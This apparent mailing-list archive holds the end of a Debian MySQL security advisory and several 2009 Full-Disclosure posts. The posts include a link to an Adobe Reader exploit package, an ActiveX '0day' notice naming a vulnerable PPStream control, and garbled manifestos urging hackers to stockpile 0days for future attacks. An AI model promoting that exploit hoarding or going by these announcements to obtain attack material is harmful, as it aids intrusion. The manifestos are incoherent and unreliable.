    Size/MD5 checksum:  8910394 e022ad902c9062b1d23c7200efd4c2b9
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_alpha.deb
    Size/MD5 checksum:  1948048 a8a3e301a0cc8a50121d8b1c8d241d8d
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_alpha.deb
    Size/MD5 checksum: 27385186 462235f9cae189b200dd0150500b0df8
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_alpha.deb
    Size/MD5 checksum:  8406012 3b33aba1253a77c0cd7b5c9940beefe0
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_alpha.deb
    Size/MD5 checksum:    48596 06075036afdfa985e184d64cd7467dbb

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_amd64.deb
    Size/MD5 checksum:  7371940 60846ded8f56a14fe4acea25b3fef8ed
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_amd64.deb
    Size/MD5 checksum:  7549540 d8f07a77db3d9e390ee738d3e1c12e2a
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_amd64.deb
    Size/MD5 checksum:    48590 77d0e70ce3be061558d74edf94a9db3e
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_amd64.deb
    Size/MD5 checksum: 25811214 88cacbc41360716cc1e8fe3d0b94c183
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_amd64.deb
    Size/MD5 checksum:  1831258 8644d004d2edbce351ddaa7624e2ef55

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_arm.deb
    Size/MD5 checksum:  6928472 10c87727be06ced03bb85c7e4f418c61
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_arm.deb
    Size/MD5 checksum: 25392708 f1baa44136b257be42aeac92f2c0ca4b
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_arm.deb
    Size/MD5 checksum:    48642 4112aeacd22315c05e79e3825140cbdd
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_arm.deb
    Size/MD5 checksum:  7208402 1f9add4b08a529c64fad7bd7dcfb4f21
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_arm.deb
    Size/MD5 checksum:  1748976 c1fbff2b11833d125383635ad411887a

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_hppa.deb
    Size/MD5 checksum:  8052818 59038dab097f1cdd776d21390316bce1
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_hppa.deb
    Size/MD5 checksum:  8004290 48e83f9e9d234b8068e171c2172d9c9d
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_hppa.deb
    Size/MD5 checksum:    48586 6d9665e91d15e7334158190da1634d41
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_hppa.deb
    Size/MD5 checksum: 27192742 a0029b97c43db98c0436261cd597405b
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_hppa.deb
    Size/MD5 checksum:  1922302 0f6f2cf520f0a2829c7009e324dc0edb

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_i386.deb
    Size/MD5 checksum: 25368664 6d42e8a39ead35df9a4ce1070cab31f8
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_i386.deb
    Size/MD5 checksum:  7189996 28199849ef78c31cadf0f001df675993
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_i386.deb
    Size/MD5 checksum:  6979206 2ebfba367d29db3604a9a9aac74de368
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_i386.deb
    Size/MD5 checksum:  1793618 05be6803bfedaaa71e699bca307e1ceb
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_i386.deb
    Size/MD5 checksum:    48588 6a9afa9558767aee492e7a86362f19a3

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_mips.deb
    Size/MD5 checksum:  7751694 136803e42eae2260798484f8eb17048d
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_mips.deb
    Size/MD5 checksum:  1836806 bb44f8a99aabc6fbe7929fd203d04867
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_mips.deb
    Size/MD5 checksum:    48592 4939af52e5b88d6086596d8a84a04832
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_mips.deb
    Size/MD5 checksum: 26346132 7e0d97dec16a809f264219def70bcc03
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_mips.deb
    Size/MD5 checksum:  7658598 2a719a8848a7ba8dd3777021f25f4c40

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_mipsel.deb
    Size/MD5 checksum:    48594 cb7b35326bc1cd42716087f240aa4e7b
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_mipsel.deb
    Size/MD5 checksum: 25848730 336466dce5cc2850a9a52ae189687d71
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_mipsel.deb
    Size/MD5 checksum:  7643162 78792b110ee9cb1836eca555a08e832b
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_mipsel.deb
    Size/MD5 checksum:  1790322 207f9822675334f3b60ad20ecb6acc8e
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_mipsel.deb
    Size/MD5 checksum:  7564258 9fe5ce4a44d54dba5ad3d30510a3d748

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_powerpc.deb
    Size/MD5 checksum:  1833298 798fa89f6153c25f38f3afa4ba0db0e0
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_powerpc.deb
    Size/MD5 checksum:  7576088 21eef1f8d91fd1fbac1ec38a2cd870ac
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_powerpc.deb
    Size/MD5 checksum: 26170328 b688d2927c5d88e9dbe1370d1d34a2e0
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_powerpc.deb
    Size/MD5 checksum:    48598 3d5d0e081d10592c5f4242182e13c15e
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_powerpc.deb
    Size/MD5 checksum:  7514082 b5de98b5a1a5a039b409fa498227a9ba

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.32-7etch11_sparc.deb
    Size/MD5 checksum:  1799228 ae8234f9cb645d102e47e951d4e5c5ac
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-4.1_5.0.32-7etch11_sparc.deb
    Size/MD5 checksum:    48600 7a05cc7532bfbd4b7e9e3c7473aa3904
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.32-7etch11_sparc.deb
    Size/MD5 checksum:  7156640 57438514f3ca6aed2ab90ede3cda8018
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.32-7etch11_sparc.deb
    Size/MD5 checksum: 25567498 b23fc4694a1c07c4de79bdab89561815
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_sparc.deb
    Size/MD5 checksum:  7025424 94d3c5ab08be6c14f1916976070a6c72

Debian GNU/Linux 5.0 alias lenny
- --------------------------------

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.51a-24+lenny2.diff.gz
    Size/MD5 checksum:   336017 73e71bc1448601de508d0aa47ca3c0c2
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.51a.orig.tar.gz
    Size/MD5 checksum: 17946664 6fae978908ad5eb790fa3f24f16dadba
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.51a-24+lenny2.dsc
    Size/MD5 checksum:     1745 55c6c40c4cee89c4b9602b1f5c9fbab2

Architecture independent packages:

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-common_5.0.51a-24+lenny2_all.deb
    Size/MD5 checksum:    60754 29e2385383abbe3b88e370d7c024d8c1
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server_5.0.51a-24+lenny2_all.deb
    Size/MD5 checksum:    55140 1b33f8d6803d58f3510f2b1a6fff9935
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client_5.0.51a-24+lenny2_all.deb
    Size/MD5 checksum:    52942 1559a30bde9a3c81192c90401b11988c

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_alpha.deb
    Size/MD5 checksum:  2017870 476e1c12341cc3a11dbe917721b75d1e
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_alpha.deb
    Size/MD5 checksum: 28330292 9d284271d9fd8522fbbd97d5440ec97d
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_alpha.deb
    Size/MD5 checksum:  8921314 ca7cf1404f85bc4a2d440c6a96880a9e
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_alpha.deb
    Size/MD5 checksum:  9078662 47a1373f35c7222401b522f755b2301f

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_amd64.deb
    Size/MD5 checksum: 27158788 f12f0a8b1c8f2e57ab7a8ef7a76ec873
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_amd64.deb
    Size/MD5 checksum:  7585692 b943efea233b5fbe9a6b0f3c4f8033a6
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_amd64.deb
    Size/MD5 checksum:  1905520 ae5104de599dcb093bbf6ac5dd81dbb4
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_amd64.deb
    Size/MD5 checksum:  8207396 be902135b35a82b58d2e950fee807ff0

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_arm.deb
    Size/MD5 checksum:  1782278 27838be87f1be0ec27f8903c581b680e
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_arm.deb
    Size/MD5 checksum: 26204152 940359457063ec7d8e4983f087cb1e14
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_arm.deb
    Size/MD5 checksum:  7606956 caabe01f25582fd25af02adae2f4ec9d
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_arm.deb
    Size/MD5 checksum:  7159894 66345fae371067905bb57c15972ae7d0

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_armel.deb
    Size/MD5 checksum: 26214696 41209680b8b9d18f6a28c16e0f7dd9ca
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_armel.deb
    Size/MD5 checksum:  7643564 40518e3bab9f1fff7a283e857b1060ea
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_armel.deb
    Size/MD5 checksum:  7250106 957a0523f1c5e104acc4c52fcfb3970a
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_armel.deb
    Size/MD5 checksum:  1779630 9a3a19ac577140817de54689be25887a

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_hppa.deb
    Size/MD5 checksum:  1959030 734a3da246f12cf57a20a7cf97b49dfd
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_hppa.deb
    Size/MD5 checksum:  8429462 f1eda586a25f39ca2a1c86901600eceb
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_hppa.deb
    Size/MD5 checksum:  8167710 f24a6bcc11604a640999c6bb8990f55b
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_hppa.deb
    Size/MD5 checksum: 27884660 b67835502617a5ab6968072e3658e2de

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_i386.deb
    Size/MD5 checksum: 26514714 6628ec53d3a651053b4426a51fac77a0
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_i386.deb
    Size/MD5 checksum:  1859180 a4384b5580df4a2f92e0fb0850100128
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_i386.deb
    Size/MD5 checksum:  7785324 f662a309b3aeca56a98034b2a254f1eb
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_i386.deb
    Size/MD5 checksum:  7192962 f105e413fd396eb1babf2e44c79f3393

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_ia64.deb
    Size/MD5 checksum:  9933762 56ea092348134c381609dd5ca0810aa8
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_ia64.deb
    Size/MD5 checksum:  2186372 6384de38ec7b94e13e3e4e8a51679a07
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_ia64.deb
    Size/MD5 checksum: 10913816 064a4375c5362a388df59194e1a12755
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_ia64.deb
    Size/MD5 checksum: 31431352 6166f2278ce608e9fa06c06d5e27547a

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_mips.deb
    Size/MD5 checksum:  7838826 c57e35cd720dad5da1446eb5a4aae50f
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_mips.deb
    Size/MD5 checksum:  7884454 75b266b3aa2090508cbf9ae06b47b9e8
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_mips.deb
    Size/MD5 checksum: 26823432 ed752cabb21dc5fb0430a7c45cd2a737
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_mips.deb
    Size/MD5 checksum:  1856346 cf3ba65f0cf6267be41fb7545e8e5901

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_mipsel.deb
    Size/MD5 checksum:  1809944 5111d32fb25ba5edbb2d10266d392b14
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_mipsel.deb
    Size/MD5 checksum:  7721196 b8e6e847c7de3b0ae28bbad61caa50b7
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_mipsel.deb
    Size/MD5 checksum:  7775944 8e414f48de6ce8847dfd9685d22471f3
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_mipsel.deb
    Size/MD5 checksum: 26342272 14296d3d8840864277a65f927bbfe56b

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_powerpc.deb
    Size/MD5 checksum:  7605690 a744878f16ad45b1eca1297cbb06b8e1
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_powerpc.deb
    Size/MD5 checksum:  8153482 89e959eb5e49d34c44582853b132f9d7
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_powerpc.deb
    Size/MD5 checksum: 27153830 87e5ccde8c6bf5651dddd995f511e6b8
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_powerpc.deb
    Size/MD5 checksum:  1916488 5b27a646603c23738894e0ffc720facf

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_s390.deb
    Size/MD5 checksum:  7697658 619a5cfa2c4b354ef1f136f34034787f
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_s390.deb
    Size/MD5 checksum:  2031312 3eb312a64bd41d97f5c4e68935e03f1f
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_s390.deb
    Size/MD5 checksum: 28101096 0a8b92944d8e74796a9c1d41901005cd
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_s390.deb
    Size/MD5 checksum:  8227138 0043bd8ab2dd81e7120362ed96c01caa

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51a-24+lenny2_sparc.deb
    Size/MD5 checksum:  7148012 0c8b5f16f0406778333f8ef3238e14c0
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-24+lenny2_sparc.deb
    Size/MD5 checksum:  1868442 e6d037f41f0e5e7f83bebac0bafd8a61
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51a-24+lenny2_sparc.deb
    Size/MD5 checksum:  7762294 d07b91712d343ac17f4d74f3dbfa4787
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51a-24+lenny2_sparc.deb
    Size/MD5 checksum: 26833028 17eed220211bfbe9072afd9ca1ef80af


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkqetwoACgkQXm3vHE4uylobqwCgkN2NURTJH0JS/QU6K8ESaYOi
vdoAn2qVHQI/Mb1/LHFvFqjx+e8x2B1n
=zAKf
-----END PGP SIGNATURE-----


From desnos at esiea.fr  Thu Sep  3 08:28:35 2009
From: desnos at esiea.fr (Anthony Desnos)
Date: Thu, 03 Sep 2009 09:28:35 +0200
Subject: [Full-disclosure] iAWACS : List of accepted papers and talks
Message-ID: <4A9F7023.5060804@esiea.fr>

(The final program will published later)

- Xavier Carcelle - Security overview and vulnerabilities of PLC
technologies
- Philippe Langlois & Eugene Parkinson - Fully-Automated Wireless
Security Audit Platform on Embedded Hardware
- Leonardo Nve Egea - Playing in a Satellite environment 1.2
- Erwan Abgrall - Oracle: A new hop
- Mahmoud Maqableh & Stefan Dantchev - Cryptanalysis of Chaos-Based Hash
Function (CBHF)
- Robert Erra & Eric Filiol - Processor-dependent malware
- Benjamin Caillat - WiShMaster - Windows Shellcode MASTERy... reloaded
(tutorial with technical practice)
- Robert Erra & Christophe Grenier - How to chose RSA keys? (Past,
Present and Future)
- Anthony Desnos - Organizer of the PWN2RM Challenge

http://esiea-recherche.eu/iawacs_2009.html



From kralor at coromputer.net  Thu Sep  3 10:24:23 2009
From: kralor at coromputer.net (kralor at coromputer.net)
Date: Thu, 3 Sep 2009 11:24:23 +0200 (CEST)
Subject: [Full-disclosure] Adobe Acrobat and Reader Collab 'getIcon()'
 JavaScript Method Exploit and Report (CVE-2009-0927)
Message-ID: <64070.160.53.250.124.1251969863.squirrel@webmail.doowan.net>

Hi everyone,

I published some work I did concerning the adobe reader Collab.getIcon()
buffer overflow. You can find the package (exploit/report/payload) on:
http://www.coromputer.net/CVE-2009-0927_package.zip

Cheers,


Ivan Rodriguez Almuina
kralor - [HiC] && [Crpt]


From 0day.expose at gmail.com  Thu Sep  3 13:10:37 2009
From: 0day.expose at gmail.com (expose 0day)
Date: Thu, 3 Sep 2009 20:10:37 +0800
Subject: [Full-disclosure] PPStream PPSMediaList Activex 0day exploit
In-Reply-To: <726b70f70909030456r40c65b1j1762b21db247efed@mail.gmail.com>
References: <726b70f70909030456r40c65b1j1762b21db247efed@mail.gmail.com>
Message-ID: <726b70f70909030510o58385d87l7ae656d3584ce21b@mail.gmail.com>

******************************************************************************
PPStream is the most huge p2p media player in the world.
There are two hundred million ppstream users in the world.
The vulnerability is exploitable,but I have no time to make it,you could
visit my blog for detail.^@^
welcome to http://0dayexpose.blogspot.com/


COM Object - {D22DE742-04CD-4B5C-A8A3-82AB3DAEC43D} PPSMediaList Control
COM Object Filename : C:\PROGRA~1\PPStream\MList.ocx
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Company Name        : PPStream Inc.
Version                : V2.6.86.8900
Web Site            : http://www.ppstream.com
*******************************************************************************
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090903/3f95e99d/attachment-0001.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: ppstream.0day.poc.zip
Type: application/zip
Size: 239982 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090903/3f95e99d/attachment-0001.zip 

From quanticle at gmail.com  Thu Sep  3 16:26:15 2009
From: quanticle at gmail.com (Rohit Patnaik)
Date: Thu, 03 Sep 2009 10:26:15 -0500
Subject: [Full-disclosure] PPStream PPSMediaList Activex 0day exploit
In-Reply-To: <726b70f70909030510o58385d87l7ae656d3584ce21b@mail.gmail.com>
References: <726b70f70909030456r40c65b1j1762b21db247efed@mail.gmail.com>
	<726b70f70909030510o58385d87l7ae656d3584ce21b@mail.gmail.com>
Message-ID: <4A9FE017.8070909@gmail.com>

There isn't exactly a whole lot of detail here. All you've got posted on 
your blog are two screenshots of the PPStream call stack after a crash.  
There's no detail about what input causes the crash, nor any other 
details about how to make it exploitable.  At present, it's not even 
clear (beyond your word, of course) that vulnerability even *is* 
exploitable.  With more detail, it'd be easier to analyze this 
vulnerability and propose a fix to the developers of this application.

Thanks,
Rohit Patnaik

expose 0day wrote:
> ******************************************************************************
> PPStream is the most huge p2p media player in the world.
> There are two hundred million ppstream users in the world.
> The vulnerability is exploitable,but I have no time to make it,you 
> could visit my blog for detail.^@^
> welcome to http://0dayexpose.blogspot.com/
>
>
> COM Object - {D22DE742-04CD-4B5C-A8A3-82AB3DAEC43D} PPSMediaList Control
> COM Object Filename : C:\PROGRA~1\PPStream\MList.ocx
> RegKey Safe for Script: True
> RegkeySafe for Init: True
> KillBitSet: False
> Company Name        : PPStream Inc.
> Version                : V2.6.86.8900
> Web Site            : http://www.ppstream.com
> *******************************************************************************
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


From william.dragonlegion.dyer at gmail.com  Thu Sep  3 20:47:04 2009
From: william.dragonlegion.dyer at gmail.com (William Dyer)
Date: Thu, 3 Sep 2009 19:47:04 +0000
Subject: [Full-disclosure] <VIDEO> Global Technocracy - Part 1
Message-ID: <ed33be490909031247t1a20bf09r189e734172583a0@mail.gmail.com>

http://www.youtube.com/watch?v=82yBqYXNKi4
http://www.youtube.com/watch?v=82yBqYXNKi4

Satellites used for general audio and visual observation of the planet. In
order to continue our revolution, we must ensure opportunities for maneuver
and to communicate with any security.
All of this information many of you already know. However, it seems that no
one was willing to do all of it. People seem to agree with their fate as
prisoners under the Global Grid Control.

If you have not understood this war against us as a species and, in
particular, hackers. The movement already underway to prevent outside
hacking Arts sanctioned public agencies and entities. Take our words as a
warning, unless you are against us. What do you stand on the surveillance
state? Are you sure you protect will stand behind you, or you meatpuppet in
cubefarm?

We live in the general Grid Control. From satellites to unmanned aircraft.
Cameras on the streets. Our every move is tracked electronically, and every
thing we recorded, and generalized and analyzed to predict our next move.

You all have heard of cyber-war. Corporation of America raised its NSA is
responsible for the security of your computer. Who do you think your enemy?
Security officials want the total information awareness. Registered hackers
are terrorists, regardless of nationality. Hackers last line of defense
human defense against tyranny. If we want to this chance pass us, the lives
of our children and future generations will live in slavery, the corporate
state. Soon the possibility of creating designer children become a reality.
Do you believe in is an elected procedure will be placed on your national
health plan, or is more likely that those who have power and money will have
access to technology that will enable them to create a physical gap between
classes? "We are passing from 1984 in a beautiful new world, where it is
literally to create groups of people, at genetic level.

What should you do now? The end of the process of full disclosure. Develop
your exploits and create 0days. Do not release them at will. When the time
comes, you'll know what to do. Use your appliances in the strategic plan. We
strive to provide the direction of the script kiddies, and just hate the
white hats as they close their eyes they are actually wolves in sheeples
clothes.

This is not just about China, or Iran, or the Corporate States of America or
the English government oversight, or Australia, or Russia, or any particular
location hampered technocrats.


fear to read
scary thought
I am afraid even that your forum
because you already have not you fear
You agree that all this is happening, and nothing here has helped

----
blackthirteen
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090903/0d276b8b/attachment.html 

From william.dragonlegion.dyer at gmail.com  Thu Sep  3 20:45:20 2009
From: william.dragonlegion.dyer at gmail.com (William Dyer)
Date: Thu, 3 Sep 2009 19:45:20 +0000
Subject: [Full-disclosure] Introduction
Message-ID: <ed33be490909031245j433e1dacgc0e4b3846d97c55@mail.gmail.com>

INTRODUCTION

It may be that I'm going to say is not very popular for those who openly
disagree. Changes in people's minds who think that something has long agreed
to be right, I expect a negative response. It will, time and events will
show the truth in those words.
Abuse of authority extends over a period of time that corruption is accepted
or even expected from those who chose a position of strength. What a great
success, they were mainly to provide justification for his actions while
soothing and silencing his critics. This, as they say, the level of
oppression (and end) continued uninterrupted for a long time. People of the
Earth facing technocrats who have the right to influence even the most
secular aspects of their daily lives.
We will endeavor to refrain from this personal, as in the attack on the
defensive. If you agree, we agree and are usually happy with your own
actions. If you disagree, we intend to send power to convince you on a
personal level, the problems still to come.
This global technocracy is a threat to all mankind. Interception of
messages, blocking information and suppression of dissent, is a common
concern for all, regardless of demographic.
Skilled technologists in the operation to deceive the true enemy. Promoting
the use of technology to suppress the masses, to intercept the message and
personality of these people turning to power is the right way. Many things
are not as it seems. Many of those who call themselves "white hat" playing
on the black team. 'Cashing in on the exceptional skills without considering
the consequences of their actions. I do not blame them for that delusion of
propaganda and misinformation, then going problem to find people who worked
with a lot of electoral data sets.
William Dyer
BlackThirteen Dragon Legion
Unknown place, August 28, 2009

in the coming weeks we will release more information about the causes and
ways to help.
-------------- next part --------------
An HTML attachment was scrubbed...
